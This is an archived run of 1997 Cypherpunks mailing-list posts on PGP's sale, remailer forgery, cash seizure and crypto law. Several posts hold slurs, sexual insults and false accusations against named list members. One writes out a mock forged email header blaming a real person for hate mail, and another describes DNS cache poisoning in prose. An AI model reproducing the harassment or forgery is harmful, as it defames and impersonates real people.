NO OFFER TO BUY THE SECURITIES CAN BE ACCEPTED AND NO PART OF THE PURCHASE PRICE CAN BE RECEIVED UNTIL THE REGISTRATION STATEMENT BECOMES EFFECTIVE, AND ANY SUCH OFFER MAY BE WITHDRAWN AND REVOKED WITHOUT OBLIGATION OR COMMITMENT OF ANY KIND, AT ANY TIME PRIOR TO NOTICE OF ITS ACCEPTANCE GIVEN AFTER THE EFFECTIVE DATE.  AN INDICATION OF INTEREST IN RESPONSE TO THIS RESPONSE TO THIS ADVERTISEMENT WILL INVOLVE NO OBLIGATION OR COMMITMENT OF ANY KIND.
A broker dealer or its agent may only transact business in a state after licensure or satisfying qualification requirements of that state. If you reside in a particular state that Wit Capital is not registered in as a broker dealer or has registered agents in, this message is not directed to you. Wit Capital will not open a brokerage account or sell securities to you until such time registration requirements in your home state are fulfilled.  Thank you.

Wit Capital Corporation
Member NASD/SIPC





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: phelix@vallnet.com
Date: Tue, 2 Dec 1997 11:54:19 +0800
To: cypherpunks@Algebra.COM
Subject: Re: PGP bought by McAfee
In-Reply-To: <348356EF.21C4@ix.netcom.com>
Message-ID: <348482a8.17218254@128.2.84.191>
MIME-Version: 1.0
Content-Type: text/plain



On 1 Dec 1997 21:30:35 -0600, steve <xxxxxx@ix.netcom.com> wrote:

>
>>"Network Associates, Inc.
>>(Nasdaq: NETA, commencing Dec. 2), formerly McAfee Associates
>>(Nasdaq: MCAF), announced today that it has a signed a definitive
>>agreement to acquire privately-held Pretty Good Privacy, Inc. (PGP)."
>
>Varous Questions, comments rants, etc.:
>
>Does anyone know how this will affect PGP's:
>security, commitment to no-GAK, Founder (P. Zimmerman), the continuation
>of the PGP product line?
>
>I heard that McAfee's PCCrypto product will still be sold by NETA as a
>retail product, (are they considering 
>incorperating the 2 together and just using PGP's team for R&D?)
>
>steve

Even more basic questions:  Will NETA release source code?  Will they
continue to develop freeware versions of PGP?  What conections does NETA
have to S/MIME?  What happens to licensing of things like PGPsdk and the
freeware versions of PGP?  Will PGP be seen as a "dead-end" product by
potential new users.  What will happen to Open-PGP email encryption
standard?

This is not good.

-- Phelix





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: TruthMonger <tm@dev.null>
Date: Tue, 2 Dec 1997 19:42:34 +0800
To: cypherpunks@cyberpass.net
Subject: Is Anonymous guilty of immorally advocating morality?
In-Reply-To: <199712012255.XAA26038@basement.replay.com>
Message-ID: <3483F266.1028@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



Why is it that people on a moral high-horse always seem to think that
that those are 'pearls of wisdom' dropping from their horse's hind-end?

Anonymous, dripping cum from the edges of a happy mouth, slurred:
> There's a fallacy which is quite common on this list, especially among
> members whose positions are otherwise indefensible.

  Sounds like shit-for-brains is about to launch another character
assault in the name of truth, righteousness and good dental hygene.

> On this list we see the same fallacy, turned around: if it is legal, it
> must be moral.  Someone is attacked for posting some vicious, hateful,
> immoral rant, and they respond that what they said was legal, because of
> freedom of speech and the First Amendment.  Their critic must be opposed
> to free speech if he objects to their words.

  As opposed to your own vicious, hateful, 'moral' rants against 
vicious, hateful, 'immoral' rants?

> Confusing what is legal and what is moral is a dangerous game.  It leads
> to the false reasoning of the statists.  We must remember that there is
> a clear distinction between morality and legality.

  Are you a kindergarten teacher? Do you have a chart where you are
placing different colored stars beside the list members names?
 
> We all agree with freedom of speech. 

  No we don't. Shut the fuck up!

> But this does not mean that all speech is equally valid.

  Did you take a statement that had meaning and edit it to come
up with this one?
  Time flies like an arrow--fruit flies like a banana.
  OK, _your_ turn again...

> Cypherpunks are intelligent enough not to be fooled by this attempt
> to use the principle of free speech to justify calls for violence and
> murder.

  CypherPunks are intelligent enough to realize that calls for violence
and murder, like the acts themselves, do not need justification.
  Didn't your parents teach you that the justification for everything
is, "Because I said so!"?

> It's no wonder, really, that people like May and Vulis attempt to confuse
> the issue by pretending that their critics are opposed to freedom of
> speech.  

  You seem to have a desperate need to explain to the rest of the list
readers exactly what it is they are reading and what it means. You must
be a lot of fun to go to a movie with.

>They know that if they are judged by their own words, their
> character is revealed for all to see.  Any smokescreen is welcome if it
> helps conceal their vicious, hateful nature.

  Give it a fucking break...
  If you are going to piss on someone on this list, please make an
effort to do a decent job of it. Lame, smarmy character assassinations
such as yours only serve to accentuate your envy of others for their
ability to exercise their vicious, hateful nature more potently than
yourself.

  Go give your morality speeches to your kindergarten class while you
play with their little bums.

TruthMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Tue, 2 Dec 1997 13:02:43 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Kashpureff stuff online
Message-ID: <199712020446.FAA11464@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain





Anyone know of any low S/N lists out there for "Crackerpunks"??



> 
> > So what did Kashpureff do?  Who is Kashpureff?  Is he the guy at
> > Alternic who did some advanced DNS hacking to get Internic DNS root to
> > point to him?  Or something else?
> 
> Yup, that's him. 
> 
> IIRC, he exploited Bind's failure to check input in certain cases: 
> He set his DNS server to be the delegating authority for .com, 
> say; then sent a recursive query to his victim's DNS server to get 
> the victim to query _his_ server; his server mixed the bogus info 
> into its response to the query, thus poisoning the victim's DNS.
> 
> Cypherpunks write code.
> Crackerpunks read code.
> 
> 
> 
>  
> Ng Pheng Siong 
> <ngpsstoi@pacific.net.sg>
> 






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: TruthMonger <tm@dev.null>
Date: Tue, 2 Dec 1997 22:14:47 +0800
To: stewarts@ix.netcom.com
Subject: Bill Stewart kills babies after he molests them. Honest! / Re: Pasting in From:
In-Reply-To: <v03102802b0a801cade82@[206.170.115.5]>
Message-ID: <348410EB.55FB@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



stewarts@ix.netcom.com wrote:
> -----BEGIN PGP FORGED MESSAGE-----
> >On Sun, 30 Nov 1997, Lance Cottrell wrote:
> >> [Spam baiting, forged mailing list subscriptions]

> The hard problem is
> >> Forged postings with deplorable content will bring down retribution
> >> on the forgery victim.
 
> I shut down my remailer a few years ago because of this one;
> the forger posted hate mail to the gay newsgroups with the victim's name
> at the bottom (didn't even use From: pasting, just message body.)
> Supporting From: pasting just encourages this.

  So what's the problem? Has everyone forgotten how to use their
delete key? Does nobody have anything better to do with their time
and resources than to waste them being offended by people who are
trying to offend them?
  It never fails to amaze me that complainers point out that an
'abusive' letter started out, "I hate niggersfaggotsjewsyou!"
and then proceed to list the other fifty 'abusive' things that
the writer had to say. Do these people correct the spelling as
they are reading the 'abusive' messages?

> Besides Usenet, other popular tactics for retribution are
> sending death threats to politicians, sending child pornography
> to mailing lists, forging messages _from_ politicians, etc.
> Disclaimer/warning headers help, but can't stop it all.

  Laissez-faire...
  I have never been very enamored of becoming a babysitter to the
whole fucking world in the enterprises I enter into. I set up an
anonymous remailer system for a mental health group and the first
time they claimed that someone was 'abusing' it, I told them,
"You're all fucking crazy! What the fuck do you expect? That's
why you have the list in the first place."
  I can't believe the lame fucks who complain about politically
incorrect anarchists on the CypherPunks list, or who suggest that
list members who may or may not hate niggersfaggotsjewsyou somehow
reflect well or badly on the CypherPunk Nation/Flag/Cause.
  Got a problem with my politics? I wear a grey blazer. You can 
a different colored blazer, so my posts don't reflect badly on
you.

  Identity/source forgery is not usually a major problem in itself,
but becomes one because of the people who buy into the game being 
played because they can't fuck up their boss without getting fired,
so they're waiting for someone to 'give them a reason...'
  I followed an anti-spam list full of dweebs who had no idea how
to tell a good header from a badly forged header, and they would
spam god-and-everybody, en mass, like a blind lynch mob. It was
hilarious to watch.

  I can make my own Bill Stewart <stewarts@ix.netcom.com> signature
and inundate the InterNet with "I like to kill babies after I molest
them (signed) posts." Although it would undoubtedly be a pain in the
ass for you, it would also result in the education of a lot of
complainers as to the principles of identity and digital signitures,
albeit at the expense of your time and resources.
  I can also do the same with the perceived net identities of other
people, including politicians and random strangers. And so can anyone
else. So what? It's part of life. We can route around the damage, or
we can make it a felony punishible by death, or we can give up our
job, family and hobbies in order to spend the rest of our life 
crusading against the 'wrong' that has been done to us.

  There seem to be an increasing number of people who are crying
out for elephant-gun solutions to fly-swatter problems.
  During the censorship experiment, my nephew and his friends were
reading some of the grand schemes proposed for dealing with the
spam/flames/etc on the list. (Everyone must wear an aluminum foil
hat and generate hash-cash e-postage to be sent to a Mars base
station for conversion to an exchange medium based on their hair
color and weight...) He looked at me, mystified, and said, "Don't
these guys have <Delete> keys?"

  There are always going to be people who read the disclaimers
and warnings on anonymously sent email and still harass our good
pal, <president@whitehouse.gov> because 'he' sent them a message
saying, "I dare you to spam me, asshole!"
  One of the little known secrets of the universe is that a great
many problems can be 'solved' by simply ignoring them, or by using
common sense.
"Doctor, it hurts when I do _this_."
  "Don't _do_ that."

GrayMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Brian B. Riley" <brianbr@together.net>
Date: Tue, 2 Dec 1997 21:02:41 +0800
To: <cypherpunks@www.video-collage.com>
Subject: Re: More Government Sanctioned Theft
Message-ID: <199712021249.HAA26733@mx02.together.net>
MIME-Version: 1.0
Content-Type: text/plain



On 12/1/97 4:16 PM, Igor Chudov @ home (ichudov@www.video-collage.com)  
passed this wisdom:

>In ok.general, Jerry Morgan <jmorgan@galstar.com> wrote:
>* easttom@redriverok.com (Chuck Easttom) wrote:
>* >   2.  What the hell legit reason is there for a man to be driving 
>*         around with 132 K in a truck??
>* 
>* The simple possession of any amount of money is not subject to "police
>* approval", unless of course we are living in a police state.

 I am not sure, but it seems to me that there is some sort of currency 
control laws that say that you cannot have 10K or mor ein oyur possession 
unless you show there is a good reason, like on your way to the bank, 
being abusiness heading for the bank atthe end of the day etc, and of 
course banks report deposits of 10K or more. I know of two different 
people who were not 'in business' who did perfectly legal transactions 
that left them with 32K and 47K in cash each instead of big checks and 
who simply deposited it. One recieved a phone call and the other a visit 
by IRS asking 'what, why, where' etc within two weeks of depositing money.


Brian B. Riley --> http://members.macconnect.com/~brianbr
   For PGP Keys  <mailto:brianbr@together.net?subject=Get%20PGP%20Key>

  "Patriotism is the last refuge of the scoundrel" -- Samuel Johnson
  "With all due respect to an enlightened but inferior lexicographer I
    beg to submit that it is the first." 
           -- Ambrose Bierce's commentary on Johnson's definition.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@invweb.net>
Date: Tue, 2 Dec 1997 23:33:02 +0800
To: "Brian B. Riley" <brianbr@together.net>
Subject: Re: More Government Sanctioned Theft
In-Reply-To: <199712021249.HAA26733@mx02.together.net>
Message-ID: <199712021525.KAA06216@users.invweb.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <199712021249.HAA26733@mx02.together.net>, on 12/02/97 
   at 07:49 AM, "Brian B. Riley" <brianbr@together.net> said:

>On 12/1/97 4:16 PM, Igor Chudov @ home (ichudov@www.video-collage.com)  
>passed this wisdom:

>>In ok.general, Jerry Morgan <jmorgan@galstar.com> wrote:
>>* easttom@redriverok.com (Chuck Easttom) wrote:
>>* >   2.  What the hell legit reason is there for a man to be driving 
>>*         around with 132 K in a truck??
>>* 
>>* The simple possession of any amount of money is not subject to "police
>>* approval", unless of course we are living in a police state.

> I am not sure, but it seems to me that there is some sort of currency 
>control laws that say that you cannot have 10K or mor ein oyur possession
> unless you show there is a good reason, like on your way to the bank, 
>being abusiness heading for the bank atthe end of the day etc, and of 
>course banks report deposits of 10K or more. I know of two different 
>people who were not 'in business' who did perfectly legal transactions 
>that left them with 32K and 47K in cash each instead of big checks and 
>who simply deposited it. One recieved a phone call and the other a visit 
>by IRS asking 'what, why, where' etc within two weeks of depositing
>money.


Well it is none of their dam business how much money I have, what form it
takes, or what I choose to do with it. If I want to fill my trunk up with
Krugerands and drive cross-country with them why should it be the business
of some LEA thug?? 

Officer: "Why do you have a trunk full of Krugerands??"
Citizen: "None of your dam business!!"

IRS THUG: "Why do you have a trunk full of Krugerands??"
Citizen: "None of your dam business!!"

BTW: Does anyone know if the Platinum American Eagle was issued yet? Last
I heard it was scheduled for release in October.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://users.invweb.net/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://users.invweb.net/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a-sha1
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBNIQoR49Co1n+aLhhAQJhPQQAplKmRRUmUk4DxdmrlKQY3IxBZpVNTZJX
yooNf6Lh1qQjwW91NExabOMG9kpIDRbWhfs4+LV+dnyXhBl8VWMC0eTPU0ez4egV
N6x3NUDIoELL6ZJLlE24kBfQt6b6fTHPuCEgjuvxvLSQkkJ2kR3o2/SshTeQgFQV
7IDXnrdsGg8=
=mpXs
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: David Lucas <davidlu@sco.COM>
Date: Tue, 2 Dec 1997 17:33:56 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Big Brother Is Watching ATMs
In-Reply-To: <3.0.3.32.19971130213445.006ad57c@popd.netcruiser>
Message-ID: <3.0.5.32.19971202091736.00828100@middx.x.co.uk>
MIME-Version: 1.0
Content-Type: text/plain



At 10:50 01/12/97 -0500, you wrote:
>G'day Jonathan,
>
>	Could you please identify this "bank card company" by name, card,
>nation, etc. ?

In the UK, it was announced that the Nationwide Building Society was
implementing such a scheme.

Exactly where in the UK this happening, I do not know.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Michael Froomkin - U.Miami School of Law" <froomkin@law.miami.edu>
Date: Tue, 2 Dec 1997 22:26:23 +0800
To: Greg Broiles <gbroiles@netbox.com>
Subject: Re: Panel names released for Bernstein hrg on 12/8
In-Reply-To: <3.0.5.32.19971201163747.03d5b7a0@208.139.48.24>
Message-ID: <Pine.SOL.3.95.971202092133.17490D-100000@viper.law.miami.edu>
MIME-Version: 1.0
Content-Type: text/plain




Fletcher and Nelson are two of the smartest, and on the whole more
moderate-liberal, judges on the 9th circuit.  This is a great panel for
Bernstein.

On Mon, 1 Dec 1997, Greg Broiles wrote:

> 
> I just spoke with someone in the clerk's office at the Ninth Circuit - the
> composition of the panel of judges for next Monday's hearing in the
> Bernstein case has been released. The judges are Bright, Fletcher, and
> (Thomas) Nelson. I haven't been able to find information about Judge
> Bright, but found pages of (meager) ratings/discussion about Fletcher and
> Nelson at:
> 
> <http://www.appellate-counsellor.com/profiles/fletchb.htm>
> and
> <http://www.appellate-counsellor.com/profiles/nelsontg.htm>
> 
> I think that Judge Bright may be Myron H. Bright, a senior justice on the
> 8th Circuit, who sometimes sits on 9th circuit cases by designation.
> 
> 
> --
> Greg Broiles                | US crypto export control policy in a nutshell:
> gbroiles@netbox.com         | Export jobs, not crypto.
> http://www.io.com/~gbroiles | http://www.parrhesia.com
> 

A. Michael Froomkin          +1 (305) 284-4285; +1 (305) 284-6506 (fax)
Associate Professor of Law   
U. Miami School of Law       froomkin@law.miami.edu
P.O. Box 248087              http://www.law.miami.edu/~froomkin/
Coral Gables, FL 33124 USA   It's almost cool here





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Tue, 2 Dec 1997 16:56:26 +0800
To: cypherpunks@toad.com
Subject: PGP User's Guide 2.6.2
Message-ID: <199712020837.JAA05430@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Where can I find a copy?








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Robert A. Costner" <pooh@efga.org>
Date: Tue, 2 Dec 1997 23:00:59 +0800
To: remailer-politics@server1.efga.org
Subject: Re: [RePol] Bill Stewart kills babies after he molests them. Honest! / Re: Pasting in From:
In-Reply-To: <v03102802b0a801cade82@[206.170.115.5]>
Message-ID: <3.0.3.32.19971202094253.037e0654@mail.atl.bellsouth.net>
MIME-Version: 1.0
Content-Type: text/plain



At 07:45 AM 12/2/97 -0600, TruthMonger wrote:
>  So what's the problem? Has everyone forgotten how to use their
>delete key?   Does nobody have anything better to do with their time
>and resources than to waste them being offended by people who are
>trying to offend them?

Well TruthMonger (if that is your real name,) I think you are missing the
point.  For purposes of the discussion, no one cares about the content of
the messages, who or why they are being sent, nor is anyone bothered by
anything concerning the message itself.  What's being discussed is scarce
resources of remailer operators.

It's much like spam.  It's a very shortsighted view when a user says "why
can't you just hit the delete button?"  This is an incorrect answer for a
user who received one piece of spam, but whose small ISP, being the relay,
lost all mail services for two days.

Most remailers are operated with donated time and resources.  Problems with
the remailer, especially artificially generated ones, are just simply not
desired.  Perhaps it is just me, but if my phone rings because of some
message on the Cracker remailer, then I don't care for it happening and I
get offended.  When last month a prosecutor for the Attorney General's
office called me about a packet of material he had received on Cracker, I
didn't care for the call.  It interrupted a phone call I was having with
the communications director of his ex-boss who is now running for Governor.
 Clearly, it cuts into time I have to do other things.

When a police detective calls, not only do I have to explain about
remailers and answer his questions, but I have to spend time making him
prove he's a policeman before I tell him I can't tell him anything.  This
can take two or more phone calls and waste even more of my time.

So why am I getting these phone calls and email messages?  What is needed
to make them stop?  I don't even run a remailer!


  -- Robert Costner                  Phone: (770) 512-8746
     Electronic Frontiers Georgia    mailto:pooh@efga.org  
     http://www.efga.org/            run PGP 5.0 for my public key





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mix <mixmaster@remail.obscura.com>Nerthus@sirius.infonex.com
Date: Wed, 3 Dec 1997 02:35:00 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Pasting in From:
Message-ID: <199712021802.KAA08927@sirius.infonex.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Robert A. Costner wrote:
>I was thinking of remailers sending out anon messages with a distinct from
>line that has zero connection (in the nym database) to any email address.
>Is this possible?  To establish a nym only through one way communication?

I think so.  The key here is to have all the nym's mail sent from the same 
remailer, pasting in a From: [nym] header.  The remailer could verify the 
message by checking the digital signature on the message before remailing it 
to it's final recipient/s.  When the recipient sees that the Sender: was the 
nym's usual remailer, he is fairly certain that the message originated from 
the nymholder, but not as certain as when he verifies the digital signature 
himself.

Also, it would be nice if the nymholder could set the Reply-To: header,
thus allowing him to change his inbox "on the fly" (hotmail, a nymserver,
alt.anonymous.messages, etcetera).

Since anonymous remailing is now considered a free service in the minds of 
most of its users, charging for it does not make sense.  I'd be curious to 
know how much money has been collected by the ecash-accepting remailer that 
Ian Goldberg set up a couple months back.

[nym] remailer like I mentioned above may become lucrative if it generates 
enough repeat customers (i.e., persistent nyms).  So could charging a fee 
for each address put in the Bcc: header.

Nerthus

-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQA/AwUBNIQq3Ba1d3zm4nqOEQJPOQCgvHJa9vQEdX4ejxcv14X85S0GlNMAn0Kj
EgANE66o/Q0fRBFxIZSVZh9C
=+0az
-----END PGP SIGNATURE-----






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Ng Pheng Siong" <ngpsstoi@pacific.net.sg>
Date: Tue, 2 Dec 1997 10:31:13 +0800
To: Adam Back <aba@dcs.ex.ac.uk>
Subject: Re: Kashpureff stuff online
In-Reply-To: <3.0.2.32.19971201000503.0069ca58@pop.sirius.com>
Message-ID: <199712020217.KAA16801@pop2.pacific.net.sg>
MIME-Version: 1.0
Content-Type: text/plain



> So what did Kashpureff do?  Who is Kashpureff?  Is he the guy at
> Alternic who did some advanced DNS hacking to get Internic DNS root to
> point to him?  Or something else?

Yup, that's him. 

IIRC, he exploited Bind's failure to check input in certain cases: 
He set his DNS server to be the delegating authority for .com, 
say; then sent a recursive query to his victim's DNS server to get 
the victim to query _his_ server; his server mixed the bogus info 
into its response to the query, thus poisoning the victim's DNS.

Cypherpunks write code.
Crackerpunks read code.



 
Ng Pheng Siong 
<ngpsstoi@pacific.net.sg>





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Wed, 3 Dec 1997 00:10:23 +0800
To: cryptography@c2.net
Subject: State Department Advisory Committee Meeting
Message-ID: <v0400276eb0a9ddefeff9@[204.134.5.84]>
MIME-Version: 1.0
Content-Type: text/plain




--- begin forwarded text


X-Sender: aboss@vm.temple.edu
Mime-Version: 1.0
Date:         Tue, 2 Dec 1997 08:19:51 -0500
Reply-To: Digital Signature discussion <DIGSIG@VM.TEMPLE.EDU>
Sender: Digital Signature discussion <DIGSIG@VM.TEMPLE.EDU>
From: Amelia Boss <ABOSS@VM.TEMPLE.EDU>
Subject:      State Department Advisory Committee Meeting
To: DIGSIG@VM.TEMPLE.EDU

I previously posted an announcement concerning a meeting of the State
Department's Advisory Committeee on Private International Law on the
digital signatures.  There have been two changes.

First, the location has changed.  It will now be held at the Department of
commerce, Conference Room 5855 beginning at 9:30 on Monday, December 15
(until 4:40pm).

Second, it will be a *one* day only meeting.

If you are planning to attend, please notify Rosie Gonzales at the State
Department: (202) 776-8420; fax 202-776-8482; email at pildb@his.com.  Or,
call Brian Hengesbaugh at the Department of Commerce: 202-482-4620, fax
202-482-4076.  In order to register for the meeting, they will need your
name and government agency identification (if any), or affiliation and
address, as well as phone, fax, and email address if available.

Entry to the Commerce Department should be through the main entrance on
14th Street between Constitution and Pennsylvania Avenues.

Hotel Accommodations:  There are two hotels that have agreed to offer, on a
space-available basis, rooms at the government rate ($108/single;
128/double).  However, you must advise the hotel when making arrangements
that you are a State Department invitee and that the government rate should
be applied.  They, in turn, will contact the L/PIL to verify
(authenticate?) that you are on the list of attendees, so please make sure
that you have followed the procedures in the previous paragraph.

The two hotels are the Windham Bristol Hotel at 2430 Pennsylvania Avenue NW
(walking distance to State and two blocks from Foggy Bottom metro)
[202-955-6400; fax 202-955-5765] and the State Plaza Hotel at 2117 E Street
NW (across from the State Department) [phone 202-861-8200; fax 202-659-8601].


Hope to see many of you there.

--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/
Ask me about FC98 in Anguilla!: <http://www.fc98.ai/>






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: David Honig <honig@otc.net>
Date: Wed, 3 Dec 1997 03:40:01 +0800
To: 6ualdv8@sk.sympatico.ca
Subject: Re: [RePol] Janet Reno kills babies
In-Reply-To: <v03102802b0a801cade82@[206.170.115.5]>
Message-ID: <3.0.5.32.19971202111153.007cda70@otc.net>
MIME-Version: 1.0
Content-Type: text/plain



>  I was responding to Bill and Lance's comments in regard to forgery
>victims being set up as targets of retribution. I think references to
>"deplorable content" indicate some measure of judgement in regard to
>defining what is considered 'abuse' of a remailer.

This excerpt made clear for me the distinction: 

1. There is a temporary problem with forgery & retribution, but this goes
away when the populace gets a clue about authentication.  In this case,
technology and a little cultural learning solve a social problem.

In practice, this cultural awareness could be encouraged by spamming the
masses with letters from various interesting forged parties, e.g., irs.gov.
 Or spoofing a  public news streams and messing with the stock market.  

I wonder if the recent classified government report
on infohacking the infrastructure included these pranks?

But enough gedankenpranking. Getting a copy of PGP integrated into
everyone's grandmother's GUI email clients, so that this is widely used and
understood by the masses, is the positive way to do this.

2. There is an everpresent truly social problem with people who want to
control the configuration of other people's bits.

This problem is solvable by a set of strongly-enforced rules (e.g.,
"Freedom of speech" -more generally, freedom of information storage and
manipulation in any form) which would have priority over the behavior of
the  mobs (e.g., in the voting booth).

In the US we're supposed to have this but there is some question ---perhaps
we need to hold lawmakers personally criminally liable when they pass
unconstitutional laws--- however the architecture is sound if implemented
correctly.

So in the future we'll not trust anything without a public key, censors
will be laughed at instead of getting congressional time, and anonymity
will be commonplace and as understood as digital signatures.

I guess this list is pretty much an ill-tempered
view of the future..





David Honig 			honig@alum.mit.edu
---------------------------------------------------
If we can prevent the government from wasting the labours of the people
under the pretense of
 caring for them, they will be happy.  -TJ





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: TruthMonger <tm@dev.null>
Date: Wed, 3 Dec 1997 01:29:40 +0800
To: "Robert A. Costner" <pooh@efga.org>
Subject: Re: [RePol] Bill Stewart kills babies after he molests them. Honest! / Re: Pasting in From:
In-Reply-To: <v03102802b0a801cade82@[206.170.115.5]>
Message-ID: <34844264.4B14@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



Robert A. Costner wrote: 
> At 07:45 AM 12/2/97 -0600, TruthMonger wrote:
> >  So what's the problem? Has everyone forgotten how to use their
> >delete key?   Does nobody have anything better to do with their time
> >and resources than to waste them being offended by people who are
> >trying to offend them?
> 
> Well TruthMonger (if that is your real name,) I think you are missing the
> point.  For purposes of the discussion, no one cares about the content of
> the messages, who or why they are being sent, nor is anyone bothered by
> anything concerning the message itself.  What's being discussed is scarce
> resources of remailer operators.

  I was responding to Bill and Lance's comments in regard to forgery
victims being set up as targets of retribution. I think references to
"deplorable content" indicate some measure of judgement in regard to
defining what is considered 'abuse' of a remailer.
  However, you are right about the thread basically dealing with the
reprecussions to the remailer operators and their resources as an end
result of the particular modes of remailer use. At the risk of actually
being on-topic in a thread, I should point out that I have always been
of the opinion that it is up to the individual remailer operators to
judge what level and types of use they are able to provide as a service
with their given time and resources.

> Most remailers are operated with donated time and resources.  Problems with
> the remailer, especially artificially generated ones, are just simply not
> desired.  

  True, but I doubt that the artificially generated attacks on a 
remailer are possible to fully deter, no matter what convolutions
one puts themselves through in order to stop it.
  I can post the following to USENET:
From: JoeBlow@hotmail.com
To: All USENET Groups
Subject: Robert A. Costner uses his remailer for hate attacks

-----Begin Forwarded Message-----
Received: from anon.lcs.mit.edu (anon.lcs.mit.edu [18.26.0.254])
Delivered-To: remailer-operators@anon.lcs.mit.edu
Message-Id: <3.0.3.32.19971202094253.037e0654@mail.atl.bellsouth.net>
X-Sender: rcostner@mail.atl.bellsouth.net
Date: Tue, 02 Dec 1997 09:42:53 -0500
To: remailer-politics@server1.efga.org
From: "Robert A. Costner" <pooh@efga.org>
Subject: I Hate People Of All Colors, and I Kill Their Children
  <blah, blah, blah>
-----End Forwarded Message----

> Perhaps it is just me, but if my phone rings because of some
> message on the Cracker remailer, then I don't care for it happening and I
> get offended.  When last month a prosecutor for the Attorney General's
> office called me about a packet of material he had received on Cracker, I
> didn't care for the call.  It interrupted a phone call I was having with
> the communications director of his ex-boss who is now running for Governor.
>  Clearly, it cuts into time I have to do other things.

  If you are in a position where it is unwise for you to simply tell
certain people, "Learn how to use a Delete key, shit for brains!" then
this is obviously a personal cost to you for your connection to the
Cracker remailer.
  Everything you do cuts into the time you have to do other things.
Personally, I appreciate the time and resources you provide for 
supporting remailer services.
  However, when I email politicos and other public figures I often
advise them that they can only fuck so many people for so long before
the lynch mob is going to show up on their doorstep and I don't want
to hear them whining about their fate in life. I sometimes use a
remailer, even when I cc: public mailing lists (thus making the
source/identity of the post/poster obvious), just because I find
that there are many self-important jerkoffs who love to fuck with
people for the smallest of reasons, unless it actually requires
them to make a real effort to do so.
  Feel free to provide my email and/or home address to any legal
entity who has a problem with anonymous posts from my shallowly
disguised identity, but you might want to warn them that unless
their penis is long enough to reach to their own asshole, they
are not likely to profit from any suggestion I might make to them.
 
> When a police detective calls, not only do I have to explain about
> remailers and answer his questions, but I have to spend time making him
> prove he's a policeman before I tell him I can't tell him anything.  This
> can take two or more phone calls and waste even more of my time.

 Tell them you'll send them a faq/fax for their edification, and to
contact you again only if they are too ignorant to understand the
basic concepts.
  And why do you have to make him prove he's a policeman in order not
to tell him anything?
  When I deal with John Law I tell them that I will be happy to deal
with them at my convenience, unless they can provide a reasonable need
for expediency. Their alternative is to explain to a judge why they
arrested you for considering your own time as valuable as theirs, and
giving you cause to refuse to cooperate, in the process.

> So why am I getting these phone calls and email messages?  What is needed
> to make them stop?  I don't even run a remailer!

  You're a public figure. You're getting your fifteen minutes of
'flame'.
 
>   -- Robert (Spam Me!) Costner 

TruthMonger
(Or so I would have you believe...)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Tue, 2 Dec 1997 19:13:47 +0800
To: cypherpunks@toad.com
Subject: RSA
Message-ID: <199712021055.LAA19014@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Tim C[retin] May studied yoga back-streching 
exercises for five years so he could blow 
himself (nobody else will).

     (((>     /<
    (        /
     ((({{{{{:<  Tim C[retin] May
             \
              \<





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Andy Dustman <andy@neptune.chem.uga.edu>
Date: Wed, 3 Dec 1997 01:04:01 +0800
To: stewarts@ix.netcom.com
Subject: Re: Pasting in From:
In-Reply-To: <3.0.3.32.19971201125046.006d2f34@popd.ix.netcom.com>
Message-ID: <Pine.LNX.3.94.971202114234.6085Y-100000@neptune.chem.uga.edu>
MIME-Version: 1.0
Content-Type: text/plain



On Mon, 1 Dec 1997 stewarts@ix.netcom.com wrote:

> These are easy enough; the address-munging gets rid of these and
> also things like forgings to alt.test and other bots,
> though eventually the spammers may catch on to "User <AT> Foo <DOT> com" etc.

It's probably too much effort for them to bother with. If you were a
spammer, and wanted loads of addresses, how would you get them? Headers
